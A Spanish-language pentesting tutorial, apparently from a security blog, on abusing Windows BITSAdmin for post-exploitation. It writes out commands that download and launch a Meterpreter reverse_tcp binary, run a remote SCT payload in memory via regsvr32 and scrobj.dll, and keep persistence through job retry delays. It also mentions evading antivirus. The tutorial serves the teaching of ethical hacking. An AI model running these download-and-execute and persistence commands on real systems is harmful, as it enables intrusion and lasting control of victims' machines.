Hoy venimos con un poco de
pentesting y la herramienta
BITSAdmin, una herramienta nativa de
Windows que se encuentra con nosotros desde la versión
XP del sistema operativo. Seguramente la puedas utilizar en muchos proyectos de
Ethical Hacking, ya que como
herramienta de post-explotación para hacer ciertas acciones viene bien.
|
Figura 1: Hacking Windows: BITSAdmin for Pentesters |
Hoy os voy a hablar un poco de
BITSAdmin ya que lo estoy preparando como dentro del conjunto de técnicas y herramientas que mostraré en un par de
Hands on Lab que impartiré el 7 y 8 de Mayo y el 21 y 22 de Mayo. Estos
hands on lab van de hacking y pentesting y recibirás el libro de
Metasploit para pentesters Gold Edition y el de
Ethical Hacking con el
pack HACKING.
El servicio
Background Intelligent Transfer Service Admin permite crear descargas o subidas en forma de
Jobs monitorizando su progreso.
BITSAdmin, con la salida de
Windows Vista, incorporó cabeceras
HTTP personalizada, autenticación de cliente basada en certificados y soporte a
IPv6. Para muchos es un gran desconocido, pero es una herramienta de línea de comandos que puede ser útil en un
pentesting.
Con
BITSAdmin se puede hacer descargas y subidas de ficheros a servidores
HTTP y
SMB.
BITSAdmin puede pausar y reanudar las transferencias de archivos, incluso después de un reinicio. El uso que se le puede dar en un
Ethical Hacking es, a priori, obvio, lograr descargar de forma sencilla algún tipo de archivo al equipo.
Realmente, el uso que puede tener va más allá, logrando descargas de instrucción directas a memoria o al registro de
Windows logrando un
file-less. Otra opción que se puede hacer de
BITSAdmin es lograr cierta persistencia, también en modo “
disco” o en modo
file-less.
Primeros pasos con BITS
BITS o
BITSAdmin tiene una serie de parámetros, más de los que podemos pensar a priori. En un primer uso, si queremos hacer una descarga rápida podemos hacer uso del parámetro
/transfer. Con este parámetro indicaremos un recurso remoto que queremos descargar y un destino donde almacenarlo. La sintaxis es:
Bitsadmin /transfer [nombre_job] http://[url] [destino local]
Por ejemplo:
bitsadmin /transfer pablo_poc http://1.1.1.1/file.png c:\destino\file.png
Para copiar localmente ficheros también se puede llevar a cabo de manera muy sencilla mediante el uso de un
job. Seguiremos los siguientes pasos:
- Creamos el job. Bitsadmin /create pablo_poc
- Añadimos al job el origen y el destino. Bitsadmin /addfile pablo_poc [ruta1] [ruta2]
- Ahora se inicia la transferencia con el parámetro “resume”. Bitsadmin /resume pablo_poc.
- Finalizamos el trabajo. Bitsadmin /complete pablo_poc.
Start-BitsTransfer en Powershell
En
Powershell se tiene de un
cmdlet que se puede utilizar para hacer la transferencia de archivos de manera sencilla. No hace falta especificar el trabajo a crear, ni hacer referencia a él posteriormente. Solo con el parámetro
Source y Destination es suficiente para hacer la transferencia.
|
Figura 4: Cmdlet para usar BitsTransfer en PowerShell |
Aparte se puede utilizar bits indicando el tipo de transferencia con el parámetro denominado
TransferType. Hay muchas opciones interesantes en su documentación. Por ejemplo, si hay que autenticarse en el servidor se puede utilizar la siguiente sintaxis:
Start-BitsTransfer -Credential Username\Domain -Source https://[URL] -Destination [Ruta] -ProxyUsage Override -ProxyList @(https://proxy1, 123.24.21.23, proxy3).
También se puede hacer uso de un fichero
CSV que enumere los diferentes tipos de trabajos que deben ser realizados con
BITS. La sintaxis es sencilla y sería:
Import-CSV [fichero con lista] | Start-BitsTransfer -TransferType Upload.
Tras ver algunas opciones de
BITS vamos a avanzar con un caso práctico y sencillo que puede ser utilizado en el
pentesting.
Transferencia de un binario y de un “file-less”
En este apartado vamos a ver dos ejemplos. El primero, muy gráfico, generamos un binario con
Metasploit. Para generarlo podemos utilizar
msfvenom o, directamente, utilizar el módulo
payload/Windows/meterpreter/reverse_tcp, como se puede ver en la imagen.
|
Figura 6: Reverse_TCP con msfvenom |
Con la opción
generate -f exe -o [ruta volcar el EXE] se puede generar rápidamente un binario para un sistema
Windows. Ahora, preparamos un
handler para recibir la conexión resultante de la ejecución del binario anterior.
|
Figura 7: arrancado el handler |
Esto lo mostramos de manera local, pero se puede extrapolar a una sesión remota que tuviéramos o cualquier acción necesaria en un momento determinado. Los pasos para lanzar el
job y provocar la subida del binario sería:
1. Bitsadmin /create [nombre job]
2. Bitsadmin /addfile [nombre job] http://[url EXE] [ruta interna]
|
Figura 8: bitsadmin en PowerShell |
Por último, hacemos uso de:
3. Bitsadmin /setnotifycmdline [nombre job] cmd.exe “/c bitsadmin /complete [nombre job] | start /B [ruta interna EXE].
La última instrucción lo que hace es delegar en la
cmd e invocar el binario subido. La última instrucción puede ser un
bitsadmin /resume [nombre job] lo que finalizará el proceso.
|
Figura 9: Delegación de la cmd |
Tras ejecutar eso, producirse la descarga y ejecutarse el binario se obtiene una sesión en
Metasploit, tal y como puede verse en la imagen. Hay que indicar que el binario, lógicamente, puede ser detectado por el antivirus, por lo que habría que jugar a la evasión previa.
|
Figura 10: Sesión de meterpreter conseguida |
Ahora vamos con un segundo ejemplo. Ahora toca el turno de un payload de tipo
file-less. Para ello la idea es, en vez de utilizar el
handler de
Metasploit es utilizar el
web_delivery, también de
Metasploit y que hemos utilizado mucho en el
blog. La configuración de
web_delivery es sencilla. Configuramos el módulo con
Target a
3 para que nos
genere un SCT y sea ejecutado posteriormente.
|
Figura 11: Configuración de web_delivery |
Aquí se hace un pequeño “
trick”.
BITS necesita descargar algo, por lo que las dos primeras instrucciones las dejamos igual:
1. Bitsadmin /create [nombre job]
2. Bitsadmin /addfile …
Ahora en el
/SetNotifyCmdLine es donde le invocamos la instrucción que nos devolvió el módulo
web_delivery. Quedaría así:
bitsadmin /setnotifycmdline [nombre job]
regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll
Por último se invoca el
bitsadmin /resume. Una técnica interesante de tipo “
file-less”.
Persistencia
Por último vamos a hablar de la persistencia.
BITSAdmin se puede utilizar para lograr cierta persistencia en el equipo comprometido, que es tan importante para poder tomar el control de un equipo o de varios en la red cuando se está en medio de un
Hacking de Windows.
Para conseguir esa tan querida persistencia existen dos enfoques que se pueden emplear principalmente, y que serían:
1. Persistencia manual: en la que vamos a almacenar un fichero en el equipo y le vamos a programar un trabajo para que se ejecute cada X minutos. ¿Esto cómo funciona? Existe un parámetro en BITS que es “SetMinRetryDelay”. Esta opción fija cada cuando hay que reintentar un job o descarga que falla. El esquema es el siguiente:
o Creamos el trabajo con BITS. Lo hemos hecho antes.
o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores.
o Bitsadmin /SetNotifyCmdLine [nombre job] [ruta EXE]. Aquí ejecutamos el EXE descargado por el job.
o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.
o Bitsadmin /resume.
2. Enfoque fileless, que tanto nos gusta. La estrategia es muy similar a lo que hemos trabajado antes, es decir, utilizamos un SCT para ejecutar en memoria sin necesidad de tocar disco. Configuramos el web_delivery como se hizo antes y ejecutamos:
o Creamos el trabajo con BITS. Lo hemos hecho antes.
o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores.
o bitsadmin /setnotifycmdline [nombre job] regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll
o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.
o Bitsadmin /resume.
Como se puede ver el enfoque es el mismo, solo cambia la fuente del
payload, si está en disco o si lo traemos directo a memoria en un momento determinado. Sin duda es una herramienta interesante que aporta en diferentes ámbitos del
pentesting, tanto en ejecución de código como en la parte de persistencia puede ser utilizada. Necesario de conocer.